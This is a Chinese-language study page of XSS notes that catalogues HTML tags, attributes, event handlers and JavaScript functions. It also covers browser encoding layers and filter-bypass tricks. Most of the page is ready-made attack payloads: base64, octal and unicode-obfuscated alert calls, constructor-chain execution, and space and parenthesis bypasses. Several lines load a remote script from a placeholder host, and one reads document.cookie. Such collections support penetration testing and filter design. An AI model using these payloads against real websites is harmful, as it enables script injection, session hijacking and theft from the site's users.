常州建設(shè)網(wǎng)站公司網(wǎng)站產(chǎn)品推廣文章
XSS一些學(xué)習(xí)記錄
- XXS短標(biāo)簽、屬性、事件、方法
- 短標(biāo)簽
- 屬性
- 事件
- 函數(shù)
- 彈窗函數(shù)
- 一些對于繞過有用的函數(shù)
- 一些函數(shù)使用payload收集
- 瀏覽器編碼問題
- XML實體編碼
- URL編碼
- JS編碼
- 混合編碼
- 一些繞過方法
- 利用constructor原型污染鏈構(gòu)造彈框
- 空格繞過
- 圓括號過濾繞過
- 其他的一些繞過
- 參考
XXS短標(biāo)簽、屬性、事件、方法
短標(biāo)簽
自帶HtmlEncode(轉(zhuǎn)義)功能的標(biāo)簽(RCDATA),這是插入的javascript不會被執(zhí)行,除非我們閉合掉它們。
<textarea></textarea>
<title></title>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>
<xmp></xmp>
<plaintext></plaintext>
其他:<math></math>也不行
一些常見的短標(biāo)簽
以下的短標(biāo)簽可以執(zhí)行JavaScript
<a>
<p>
<img>
<body>
<button>
<script>
<var>
<div>
<object>
<input>
<select>
<keygen>
<frameset>
<embed>
<svg>
<video>
<audio>
<iframe>
<textarea>
<math>
<a>
<a href="javascript:alert(1)">test</a>
<a href="x" onfocus="alert('xss');" autofocus="">xss</a>
<a href="x" onclick=eval("alert('xss');")>xss</a>
<a href="x" onmouseover="alert('xss');">xss</a>
<img>
<img src=x onerror="alert(1)">
<img src=x onerror=eval("alert(1)")>
<iframe>
<iframe src="javascript:alert(1)">test</iframe>
<iframe onload="alert(document.cookie)"></iframe>
<iframe onload="alert('xss');"></iframe>
<iframe onload="base64,YWxlcnQoJ3hzcycpOw=="></iframe>
<iframe onmouseover="alert('xss');"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<audio>
<audio src=1 onerror=alert(1)>
<audio><source src="x" onerror="alert('xss');"></audio>
<audio controls onfocus=eval("alert('xss');") autofocus=""></audio>
<audio controls onmouseover="alert('xss');"><source src="x"></audio>
<video>
<video src=x onerror=alert(1)>
<video><source onerror="alert('xss');"></video>
<video controls onmouseover="alert('xss');"></video>
<video controls onfocus="alert('xss');" autofocus=""></video>
<video controls onclick="alert('xss');"></video>
<svg>
<svg onload=javascript:alert(1)>
<svg onload="alert('xss');"></svg>
<button>
<button onclick=alert(1)>
<button onfocus="alert('xss');" autofocus="">xss</button>
<button onclick="alert('xss');">xss</button>
<div>
原代碼:
<div onmouseover='alert(1)'>DIV</div>
經(jīng)過url編碼:
<div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv>
<object>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>
<script>
<script>alert('xss')</script>
<script>alert(/xss/)</script>
<script>alert(123)</script>
<script src=http://xxx.xxx/a.js></script>
<script src=//xxx.xxx/a.js></script>
<input>
<input onfocus="alert('xss');" autofocus="">
<input onmouseover="alert('xss');">
<input type="text" onkeydown="alert('xss');"></input>
<form>
<form method="x" action="x" onmouseover="alert('xss');"><input type=submit></form>
<form method="x" action="x" onmouseout="alert('xss');"><input type=submit></form>
<form method="x" action="x" onmouseup="alert('xss');"><input type=submit></form>
綜合上面短標(biāo)簽的使用,除了特殊的幾個,其他的使用都差不多,都是配合屬性或者事件使用
屬性
data=
href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
xlink:href=
autofocus=
content=
這里只介紹一個data協(xié)議,他可以使用Data URI繞過,但并不是所有短標(biāo)簽都可以使用
* data:,文本數(shù)據(jù)
* data:text/plain,文本數(shù)據(jù)
* data:text/html,HTML代碼
* data:text/css;base64,css代碼
* data:text/javascript;base64,javascript代碼
* data:image/x-icon;base64,base64編碼的icon圖片數(shù)據(jù)
* data:image/gif;base64,base64編碼的gif圖片數(shù)據(jù)
* data:image/png;base64,base64編碼的png圖片數(shù)據(jù)
* data:image/jpeg;base64,base64編碼的jpeg圖片數(shù)據(jù)<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=">
<object data="data:text/html;base64 ,PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=">
<iframe src="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></iframe>
<embed src="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></embed>
src/href/action/xlink:href/autofocus/content/data 等屬性直接使用偽協(xié)議繞過。如javascript 偽協(xié)議: <a href=javascript:alert(2)>test</a>
不使用 href 的另外一種組合來執(zhí)行 js:<svg><a xlink:href=“javascript:alert(14)”>
事件
所有的event都是可以執(zhí)行js的,on*事件中插入合乎邏輯的JS代碼即可
常見事件
FSCommand() (當(dāng)從嵌入式 Flash 對象中執(zhí)行時,攻擊者可以使用它)
onAbort() (當(dāng)用戶中止圖像加載時)
onActivate() (當(dāng)對象被設(shè)置為活動元素時)
onAfterPrint() (在用戶打印或預(yù)覽打印作業(yè)后激活)
onAfterUpdate() (更新源對象中的數(shù)據(jù)后在數(shù)據(jù)對象上激活)
onBeforeActivate() (在對象被設(shè)置為活動元素之前觸發(fā))
onBeforeCopy()(攻擊者在將選擇復(fù)制到剪貼板之前執(zhí)行攻擊字符串 – 攻擊者可以使用該execCommand("Copy")功能執(zhí)行此操作)
onBeforeCut() (攻擊者在選擇被切斷之前執(zhí)行攻擊字符串)
onBeforeDeactivate() (在 activeElement 從當(dāng)前對象更改后立即觸發(fā))
onBeforeEditFocus() (在可編輯元素中包含的對象進(jìn)入 UI 激活狀態(tài)之前或在選擇可編輯容器對象時觸發(fā))
onBeforePaste()(用戶需要被誘騙粘貼或使用該execCommand("Paste")功能強(qiáng)制粘貼)
onBeforePrint()(用戶需要被欺騙打印或攻擊者可以使用print()或execCommand("Print")功能)。
onBeforeUnload() (用戶需要被誘騙關(guān)閉瀏覽器 – 除非它是從父級生成的,否則攻擊者無法卸載窗口)
onBeforeUpdate() (在更新源對象中的數(shù)據(jù)之前激活數(shù)據(jù)對象)
onBegin() (當(dāng)元素的時間線開始時, onbegin 事件會立即觸發(fā))
onBlur() (在加載另一個彈出窗口并且窗口失去焦點的情況下)
onBounce() (當(dāng)Marquee對象的行為屬性設(shè)置為“備用”和Marquee的內(nèi)容到達(dá)窗口的一側(cè)時)
onCellChange() (當(dāng)數(shù)據(jù)提供者中的數(shù)據(jù)發(fā)生變化時觸發(fā))
onChange() (選擇、文本或 TEXTAREA 字段失去焦點并且其值已被修改)
onClick() (有人點擊表格)
onContextMenu() (用戶需要右鍵單擊攻擊區(qū)域)
onControlSelect() (當(dāng)用戶即將對對象進(jìn)行控件選擇時觸發(fā))
onCopy()(用戶需要復(fù)制一些東西或者可以使用execCommand("Copy")命令來利用它)
onCut()(用戶需要復(fù)制一些東西或者可以使用execCommand("Cut")命令來利用它)
onDataAvailable() (用戶需要更改元素中的數(shù)據(jù),否則攻擊者可以執(zhí)行相同的功能)
onDataSetChanged() (當(dāng)數(shù)據(jù)源對象公開的數(shù)據(jù)集更改時觸發(fā))
onDataSetComplete() (觸發(fā)以指示數(shù)據(jù)源對象中的所有數(shù)據(jù)都可用)
onDblClick() (用戶雙擊表單元素或鏈接)
onDeactivate() (當(dāng) activeElement 從當(dāng)前對象更改為父文檔中的另一個對象時觸發(fā))
onDrag() (要求用戶拖動對象)
onDragEnd() (要求用戶拖動對象)
onDragLeave() (要求用戶將對象拖離有效位置)
onDragEnter() (要求用戶將對象拖動到有效位置)
onDragOver() (要求用戶將對象拖動到有效位置)
onDragDrop() (用戶將對象(例如文件)拖放到瀏覽器窗口上)
onDragStart() (在用戶開始拖動操作時發(fā)生)
onDrop() (用戶將對象(例如文件)拖放到瀏覽器窗口上)
onEnd() (當(dāng)時間線結(jié)束時觸發(fā) onEnd 事件。
onError() (加載文檔或圖像會導(dǎo)致錯誤)
onErrorUpdate() (在更新數(shù)據(jù)源對象中的關(guān)聯(lián)數(shù)據(jù)時發(fā)生錯誤時觸發(fā)數(shù)據(jù)綁定對象)
onFilterChange() (當(dāng)視覺過濾器完成狀態(tài)更改時觸發(fā))
onFinish() (攻擊者可以在選框完成循環(huán)時創(chuàng)建利用)
onFocus() (攻擊者在窗口獲得焦點時執(zhí)行攻擊字符串)
onFocusIn() (攻擊者在窗口獲得焦點時執(zhí)行攻擊字符串)
onFocusOut() (攻擊者在窗口失去焦點時執(zhí)行攻擊字符串)
onHashChange() (當(dāng)文檔當(dāng)前地址的片段標(biāo)識符部分更改時觸發(fā))
onHelp() (攻擊者在窗口處于焦點時用戶點擊 F1 時執(zhí)行攻擊字符串)
onInput() (元素的文本內(nèi)容通過用戶界面更改)
onKeyDown() (用戶按下一個鍵)
onKeyPress() (用戶按下或按住某個鍵)
onKeyUp() (用戶釋放密鑰)
onLayoutComplete() (用戶必須打印或打印預(yù)覽)
onLoad() (攻擊者在窗口加載后執(zhí)行攻擊字符串)
onLoseCapture()(可以被releaseCapture()方法利用)
onMediaComplete() (當(dāng)使用流媒體文件時,此事件可能會在文件開始播放之前觸發(fā))
onMediaError() (用戶在瀏覽器中打開一個包含媒體文件的頁面,出現(xiàn)問題時觸發(fā)該事件)
onMessage() (當(dāng)文檔收到消息時觸發(fā))
onMouseDown() (攻擊者需要讓用戶點擊圖片)
onMouseEnter() (光標(biāo)在對象或區(qū)域上移動)
onMouseLeave() (攻擊者需要讓用戶將鼠標(biāo)懸停在圖像或表格上,然后再次關(guān)閉)
onMouseMove() (攻擊者需要讓用戶將鼠標(biāo)懸停在圖像或表格上)
onMouseOut() (攻擊者需要讓用戶將鼠標(biāo)懸停在圖像或表格上,然后再次關(guān)閉)
onMouseOver() (光標(biāo)在對象或區(qū)域上移動)
onMouseUp() (攻擊者需要讓用戶點擊圖片)
onMouseWheel() (攻擊者需要讓用戶使用他們的鼠標(biāo)滾輪)
onMove() (用戶或攻擊者會移動頁面)
onMoveEnd() (用戶或攻擊者會移動頁面)
onMoveStart() (用戶或攻擊者會移動頁面)
onOffline() (發(fā)生在瀏覽器在聯(lián)機(jī)模式下工作并且開始脫機(jī)工作時)
onOnline() (發(fā)生在瀏覽器在離線模式下工作并開始在線工作時)
onOutOfSync() (中斷元素播放時間軸定義的媒體的能力)
onPaste()(用戶需要粘貼或攻擊者可以使用該execCommand("Paste")功能)
onPause() (當(dāng)時間線暫停時,onpause 事件會在每個處于活動狀態(tài)的元素上觸發(fā),包括 body 元素)
onPopState() (當(dāng)用戶瀏覽會話歷史時觸發(fā))
onProgress() (攻擊者會在加載 Flash 電影時使用它)
onPropertyChange() (用戶或攻擊者需要更改元素屬性)
onReadyStateChange() (用戶或攻擊者需要更改元素屬性)
onRedo() (用戶在撤消交易歷史中前進(jìn))
onRepeat() (該事件為時間線的每次重復(fù)觸發(fā)一次,不包括第一個完整周期)
onReset() (用戶或攻擊者重置表單)
onResize()(用戶將調(diào)整窗口的大小,攻擊者就可以自動與像初始化:<SCRIPT>self.resizeTo(500,400);</SCRIPT>)
onResizeEnd()(用戶將調(diào)整窗口的大小,攻擊者就可以自動與像初始化:<SCRIPT>self.resizeTo(500,400);</SCRIPT>)
onResizeStart()(用戶將調(diào)整窗口的大小,攻擊者就可以自動與像初始化:<SCRIPT>self.resizeTo(500,400);</SCRIPT>)
onResume() (onresume 事件會在時間線恢復(fù)時激活的每個元素上觸發(fā),包括 body 元素)
onReverse() (如果元素的 repeatCount 大于 1,則每次時間線開始向后播放時都會觸發(fā)此事件)
onRowsEnter() (用戶或攻擊者需要更改數(shù)據(jù)源中的一行)
onRowExit() (用戶或攻擊者需要更改數(shù)據(jù)源中的一行)
onRowDelete() (用戶或攻擊者需要刪除數(shù)據(jù)源中的一行)
onRowInserted() (用戶或攻擊者需要在數(shù)據(jù)源中插入一行)
onScroll()(用戶需要滾動,否則攻擊者可以使用該scrollBy()功能)
onSeek() (當(dāng)時間軸設(shè)置為向前以外的任何方向播放時,將觸發(fā) onreverse 事件)
onSelect()(用戶需要選擇一些文本-攻擊者可以自動初始化是這樣的:window.document.execCommand("SelectAll");)
onSelectionChange()(用戶需要選擇一些文本-攻擊者可以自動初始化是這樣的:window.document.execCommand("SelectAll");)
onSelectStart()(用戶需要選擇一些文本-攻擊者可以自動初始化是這樣的:window.document.execCommand("SelectAll");)
onStart() (在每個選框循環(huán)開始時觸發(fā))
onStop() (用戶需要按停止按鈕或離開網(wǎng)頁)
onStorage() (存儲區(qū)域已更改)
onSyncRestored() (用戶中斷元素播放由時間線定義的媒體的能力以觸發(fā))
onSubmit() (需要攻擊者或用戶提交表單)
onTimeError() (用戶或攻擊者將時間屬性(例如 dur)設(shè)置為無效值)
onTrackChange() (用戶或攻擊者更改播放列表中的曲目)
onUndo() (用戶在撤消事務(wù)歷史記錄中倒退)
onUnload() (當(dāng)用戶單擊任何鏈接或按下后退按鈕或攻擊者強(qiáng)制單擊時)
onURLFlip() (當(dāng)由 HTML+TIME(定時交互式多媒體擴(kuò)展)媒體標(biāo)簽播放的高級流格式 (ASF) 文件處理嵌入在 ASF 文件中的腳本命令時,將觸發(fā)此事件)
seekSegmentTime() (這是一種在元素的片段時間線上定位指定點并從該點開始播放的方法。片段由時間線的一次重復(fù)組成,包括使用 AUTOREVERSE 屬性的反向播放。)
函數(shù)
彈窗函數(shù)
alert
confirm
prompt
一些對于繞過有用的函數(shù)
eval
top
window
self
parent
frames
setTimeout
atob
setInterval
eval
<img src="x"onerror="eval('al'+'ert(1)')">
<script>eval("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
<script>eval("\141\154\145\162\164\050\061\051")</script>
<script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>
<a href=javascript:eval(atob('YWxlcnQoMSk='))>test</a>
<a href=javascript:eval(window.atob('YWxlcnQoMSk='))>test</a>
<a href=javascript:eval(window['atob']('YWxlcnQoMSk='))>test</a>
<img src=x onmouseover="eval(window.atob('YWxlcnQoMSk='))">
<img src=x onerror="eval(atob('YWxlcnQoMSk='))">
<iframe src="javascript:eval(window['atob']('YWxlcnQoMSk='))"></iframe>
<a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>test</a>
top
<img src="x" onerror="top['al'+'ert'](1)">
JS8編碼:
<details open ontoggle=top['al\145rt'](1) >
<details open ontoggle=top['\141\154\145\162\164'](1) >
JS16編碼:
<details open ontoggle=top['al\x65rt'](1) >
window
<img src="x" onerror="window['al'+'ert'](1)">
self
<img src="x" onerror="self[`al`+`ert`](1)">
parent
<img src="x" onerror="parent[`al`+`ert`](1)">
frames
<img src="x" onerror="frames[`al`+`ert`](1)">
setTimeout
<svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')>
<svg/onload=setTimeout('\141\154\145\162\164\050\061\051')>
<svg/onload=setTimeout('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')>
atob
atob() 方法用于解碼使用 base-64 編碼的字符串
<img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```">
<img src=x onerror="``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```">
parseInt()與toString()
parseInt() 第二個參數(shù)會把第一個參數(shù)以第二個參數(shù)的進(jìn)制來解析,第二個參數(shù)介于2-36之間,而 toString()可以將數(shù)值以任意進(jìn)制還原成字符串
實際使用時建議先進(jìn)行測試是否能還原
<details open ontoggle=top[8680439..toString(30)](1); >
<details open ontoggle=top[17795081..toString(36)](1); >
一些函數(shù)使用payload收集
img src="x" onerror="eval(alert(1))">
<img src="x" onerror="open(alert(1))">
<img src="x" onerror="document.write(alert(1))">
<img src="x" onerror="setTimeout(alert(1))">
<img src="x" onerror="setInterval(alert(1))">
<img src="x" onerror="Set.constructor(alert(1))">
<img src="x" onerror="Map.constructor(alert(1))">
<img src="x" onerror="Array.constructor(alert(1))">
<img src="x" onerror="WeakSet.constructor(alert(1))">
<img src="x" onerror="constructor.constructor(alert(1))">
<img src="x" onerror="[1].map(alert(1))">
<img src="x" onerror="[1].find(alert(1))">
<img src="x" onerror="[1].every(alert(1))">
<img src="x" onerror="[1].filter(alert(1))">
<img src="x" onerror="[1].forEach(alert(1))">
<img src="x" onerror="[1].findIndex(alert(1))">
<img src onerror=_=alert,_(1)>
<img src x=al y=ert onerror=top[x+y](1)>
<img src onerror=top[a='al',b='ev',b+a]('alert(1)')>
<img src onerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>
setInterval
setInterval與setTimeout差不多
<svg/onload=setInterval('al'%2b'ert(1)')>
<svg/onload=setInterval(appendChild(createElement('script')).src='http://xx.xx/eeW')>
<svg/onload=\u0073etInterval(appendChild(createElement('scr'%2b'ipt')).src='http://xx.xx/eeW')>
<svg/onload=\u0073etInterval(\u0061ppendChild(\u0063reateElement('scr'%2b'ipt')).src='http://xx.xx/eeW')>
<iframe onload=s=createElement('script');body.appendChild(s);s.src=['http','://','xx.xx','/eeW'].join('') >
<svg/onload=s=createElement('script');body.appendChild(s);s.src=['http']%2B['://']%2B['xx.xx']%2B['/eeW'].join('') >
瀏覽器編碼問題
瀏覽器對 XSS 代碼的解析順序為:HTML解碼 —— URL解碼 —— JS解碼(只支持UNICODE)。
XML實體編碼
<a href="javascript:alert(1)">test</a>
十進(jìn)制
<a href="javascript:alert(1)">test</a>
十六進(jìn)制
<a href="javascript:alert(1)">test</a>
可以不帶分號
<a href="javascript:alert(1)">test</a>
可以填充0
<a href="javascript:alert(1)">test</a>
XML實體編碼不能對屬性或者短標(biāo)簽進(jìn)行編碼,否則無法識別,可以對屬性里面的內(nèi)容進(jìn)行編碼
URL編碼
注入點存在 href 或者 src 屬性時,可以使用 url 編碼,但不能對屬性進(jìn)行編碼。
<a href="javascript:%61%6c%65%72%74%28%31%29">test</a>
<iframe src="javascript:%61%6c%65%72%74%28%31%29">test</iframe>
JS編碼
在處理諸如<script> <style>這樣的標(biāo)簽,解析器會自動切換到JS解析模式,而src、 href 后邊加入的javascript 偽URL,也會進(jìn)入JS 的解析模式,ON事件后面也會直接進(jìn)入JS模式。JS編碼解析時不能破壞javascript協(xié)議。
js 編碼策略:“” 加上三個八進(jìn)制數(shù)字,如果個數(shù)不夠,前面補0,例如 “<” 編碼為 “\074”
“\x” 加上兩個十六進(jìn)制數(shù)字,如果個數(shù)不夠,前面補0,例如 “<” 編碼為 “\x3c”
“\u” 加上四個十六進(jìn)制數(shù)字,如果個數(shù)不夠,前面補0,例如 “<” 編碼為 “\u003c”
對于一些控制字符,使用特殊的 C 類型的轉(zhuǎn)義風(fēng)格(例如 \n 和 \r)
在進(jìn)行JavaScript解析的時候字符或者字符串僅會被解碼為字符串文本或者標(biāo)識符名稱,在上例中Javascript解析器工作的時候?qū)u0061\u006c\u0065\u0072\u0074進(jìn)行解碼后為alert,而alert是一個有效的標(biāo)識符名稱,它是能被正常解析的。像圓括號、雙引號、單引號等等這些字符就只能被當(dāng)作普通的文本,無法正常解析,因此編碼時,禁止編碼圓括號、雙引號、單引號等等
如
<img src=x onerror="alert(1)">
編碼為
<img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">
但是下面這個是例外,可以全部編碼
<input onfocus=location="alert(1)" autofocus>
可編碼為
<input onfocus=location="javascript:\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029" autofocus>
可用下面的網(wǎng)站進(jìn)行編碼
https://tool.chinaz.com/tools/unicode.aspx
混合編碼
瀏覽器對 XSS 代碼的解析順序為:HTML解碼 —— URL解碼 —— JS解碼(只支持UNICODE),所以要混合編碼需要和解析順序相反進(jìn)行編碼
<a href="javascript:alert(1)">test</a>
JS編碼后為
<a href="javascript:\u0061\u006c\u0065\u0072\u0074(1)">test</a>
url編碼后為
<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)">test</a>
html實體編碼后為
<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)">test</a>
一些繞過方法
利用constructor原型污染鏈構(gòu)造彈框
其根本原理是利用constructor原型污染鏈構(gòu)造Function,使用Function來構(gòu)造匿名函數(shù),然后在其中寫入任意的js代碼進(jìn)行執(zhí)行,匿名函數(shù)后面加上一個括號即可立即執(zhí)行
常規(guī)的js構(gòu)造函數(shù)彈窗
let sayHi = new Function('alert("Hello")');
sayHi();
寫成一句話調(diào)用匿名函數(shù)
new Function('alert("Hello")')();
//彈框
//精簡去掉 new 和 ;
Function('alert("Hello")')()
為了替換掉Function,我們用constructor構(gòu)造
可以得到
String.constructor('alert("Hello")')()
再把string處理掉
可以得到
"".constructor.constructor("alert(1)")()
如果黑名單過濾了(),可以用反引號繞過
String.constructor`al\x65rt\x28/xss/\x29```
如果黑名單過濾了.可以再根據(jù)a.b與a[b]等價的定理進(jìn)行變換
""["constructor"]["constructor"]("alert(1)")()
針對字符串,可以使用16進(jìn)制,8進(jìn)制轉(zhuǎn)碼,我們用8進(jìn)制轉(zhuǎn)碼一下
""["\163\165\142\163\164\162"]["\143\157\156\163\164\162\165\143\164\157\162"]("\141\154\145\162\164\50\61\51")()
一些payload
<svg/onload=Set.constructor(appendChild(createElement('script')).src='http://xx.xx/eeW')()><svg/onload=Set.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=Map.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=clear.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=Array.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=WeakSet.constructor`al\x65rt\x28/xss/\x29```><img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```">
<img src=x onerror="``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```">
空格繞過
可以利用 /和//還有/**/替換繞過空格
<img//src//onerror=alert(1)>
<img/**/src/**/onerror=alert(1)>
還可以throw 繞過
<video src onerror="javascript:window.οnerrοr=alert;throw 1">
<svg/onload="window.οnerrοr=eval;throw'=alert\x281\x29';">
圓括號過濾繞過
可以用斜杠替換
<img src onerror=alert(/xss/)>
還可以用反引號替換
<img src onerror=alert(`xss`)>
其他的一些繞過
其他的一些繞過其實可以根據(jù)上面的知識,嘗試大小寫繞過,編碼繞過,利用相似功能的函數(shù)進(jìn)行繞過,拼接繞過等
下面這個是一個很典型的例子,第一條不行,發(fā)現(xiàn)是事件上了黑名單,換個事件即可
<a href="x" onmouseover="confirm('123');">xss</a>
<a href="x" onMouseEnter="confirm('123');">aa</a>
參考
https://wooyun.js.org/drops/Bypass%20xss%E8%BF%87%E6%BB%A4%E7%9A%84%E6%B5%8B%E8%AF%95%E6%96%B9%E6%B3%95.html
https://blog.csdn.net/hackzkaq/article/details/126344040
https://www.ddosi.org/xss-bypass/#XSS_%E5%AE%9A%E4%BD%8D%E5%99%A8%EF%BC%88Polygot%EF%BC%89
http://www.0xby.com/98.html
https://xz.aliyun.com/t/6597
https://lalajun.github.io/2020/11/18/%E5%8D%81%E4%BA%8C%E4%B8%AAXSS%E6%A1%88%E4%BE%8B%E9%87%8D%E6%96%B0%E8%AE%A4%E8%AF%86XSS-%E4%B8%8A/